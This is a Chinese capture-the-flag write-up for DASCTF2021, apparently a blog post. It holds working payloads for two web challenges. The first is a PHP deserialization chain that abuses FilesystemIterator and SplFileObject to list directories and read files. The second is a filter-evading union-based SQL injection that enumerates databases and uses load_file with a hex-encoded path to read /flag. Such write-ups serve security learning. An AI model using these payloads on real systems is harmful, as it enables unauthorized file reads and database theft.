【WP】DASCTF2021
补发WP
ez_serialize
源码
<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __construct(){$this->class = "B";$this->para = "ctfer";echo new $this->class ($this->para);}public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new $this->class ($this->para); //关键,触发点}elsedie('bad hacker~');}}
class B{var $a;public function __construct($a){$this->a = $a;echo ("hello ".$this->a);}
}
class C{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
else{$a=new A;}
提取简化
<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new $this->class ($this->para); //关键,触发点,能够创建指定类对象}}}
核心代码可以通过拼接调用任意类方法
FilesystemIterator
:指定目录的迭代器
SplFileObject
:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容
构造序列化
<?php
class A{public $class='FilesystemIterator';public $para='./';public $check;
}
$payload = new A();
echo serialize($payload);
?>//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}
显示文件夹/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
,
<?php
class A{public $class='FilesystemIterator';public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`';public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:36:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/`";s:5:"check";N;}
无显示,根据文件夹名猜测此文件夹为最底层,其下包含flag文件,直接采用:
<?php
class A{public $class='SplFileObject';public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';public $check;
}
$payload = new A();
echo serialize($payload);
?>
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:43:"./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}
BestDB
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
刚开始做感觉是个极其常规的SQL,过滤了空格和单引号
' ' -> " "
[空格] -> /**/
直到正常爆库到最后,发现是读文件
1"/**/Union/**/seLect/**/1,database(),3;#1"/**/Union/**/seLect/**/1,group_concat(schema_name),3/**/from/**/information_schema.schemata%23
information_schema,mysql,performance_schema,sys,users1"/**/Union/**/seLect/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/wHere/**/table_schema="users"%23
f1agdas,users1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="f1agdas"%23
id,f1agdas1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/f1agdas%23
flag.txt1"/**/Union/**/seLect/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/wHere/**/table_schema="users"%23
id,f1agdas,id,username,password1"/**/Union/**/seLect/**/1,group_concat(f1agdas),3/**/from/**/users%23
//这里不知道为什么会无回显,明明上面那个分支使用了相同的字段名,但是这里却不行,用ord()做了测试,发现并没有对回显过滤
爆第二分支到一半才反应过来是读文件,开始
1"/**/Union/**/seLect/**/1,load_file("/flag.txt"),3/**/from/**/users%2
forbidden!!!!!
怀疑过滤了flag,用十六进制尝试,
/flag.txt -->
2f666c61672e747874 -->
0x2f666c61672e747874/flag -->
2f666c6167 -->
0x2f666c6167
//提示。。。,说好的.txt呢
最终payload
1"/**/Union/**/seLect/**/1,load_file(0x2f666c6167),3/**/from/**/users%2
签到
异世相遇,尽享美味,安恒赛高
调查问卷
有手就行
【WP】DASCTF2021相关推荐
- 【WP】hgame2023 week4 Pwn
[WP]hgame2023 week4 Pwn without_hook libc2.36的版本,没有__free_hook和__malloc_hook这种hook函数,这里使用打_IO_list_a ...
- 【wp】ZJCTF-我的方便面没有调料包战队
[wp]ZJCTF-我的方便面没有调料包战队 一.战队信息 名称:我的方便面没有调料包 排名:22(20) 二.解题情况 共解出8道 三.解题过程 Web 远古特性 使用%0a换行,再读取根目录文件 ...
- 【WP】Chrome主题diy
经常使用的浏览器是chrome,但是在Chrome网上应用店(https://chrome.google.com/webstore/category/themes)下载安装的主题都不是很喜欢,故找了一 ...
- 【WP】2021虎符
签到 原理 原型为PHP官方GIT服务器近日被植入的后门. zval *enc;// 检测user_agentt if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SER ...
- 【wp】i春秋百度杯CTF比赛2016年12月场writeup
|@第一场 |-----@传说中的签到题·进阶篇 |-----@福尔摩斯 |-----@+ -- + |@第二场 |-----@一个十六岁的少年 |-----@藏在邮件头里的秘密 |-----@吃货 ...
- 【STM8】外挂存储器W25Q16
好像有几张图片被强制缩小了?看到这篇博客的人先对你们说声抱歉,我不知道怎么设置 文字就可以很长(文章宽度的全部),图片就只有文章宽度的2/3宽度 开新分页应该就是原始尺寸了,这点还是和大家说抱歉... ...
- 【Diary】2023·七月
日期 日常事件 其他事件 7.1.土 琐碎的一天1 [六月专注汇总]2 7.2.日 微不足道的一天3 <c-p>5792-5796 7.3.月 详见<c-p>第5801页 &l ...
- 【IDF】古老的邮件编码
[题目链接] 古老的邮件编码 [WP] 古老的邮件编码WP [Tricks] 直接全部解码显示格式不正确: 一行一行解码只能看见flag格式的后半部分: 从第二行逗号处开始解码得到flag. [心得] ...
- 【Diary】2023·July
日期 日常事件 其他事件 7.1.土 琐碎的一天1 [六月专注汇总]2 7.2.日 微不足道的一天3 <c-p>5792-5796 7.3.月 详见<c-p>第5801页 &l ...
最新文章
- 2010年第一届蓝桥杯省赛 —— 第二题
- java redis 流水线,Redis系列(1) —— 流水线
- python单元测试断言_Python单元测试框架之pytest -- 断言-阿里云开发者社区
- 160308_Helloworld_Console Application
- 上百篇论文概览『负采样方法』的前世今生
- 【渝粤教育】21秋期末考试市场营销10256k2
- Oracle多层ifend嵌套,Excel IF函数以及IF多层嵌套如何使用,看完你就知道了
- JAVA中rpm什么意思,RPM常用命令介绍
- 真惭愧--连这样的小事都没有坚持下来
- 计算机老师任课教师寄语,任课老师新学期寄语
- 7.25 1figting!
- 经超计算机求职电视剧,经超电影,电视剧全集_经超影视作品大全推荐 - 剧知晓...
- uC/Modbus 用户手册——第一节
- 【华为OD机试 2023】 最多获得的短信条数/云短信平台优惠活动(C++ Java JavaScript Python)
- comsol圆柱形永磁体_基于COMSOL Multiphysics的磁场仿真分析
- hadoop重命名文件_hadoop HDFS常用文件操作命令
- 苹果手机圆圈在哪里设置_不知道苹果手机录音在哪里?那你就落伍了
- php删除管理员,WordPress 移除管理员后台添加用户权限
- 软件测试的软件资源,软件测试都会都用到哪些工具?
- spss modeler建模3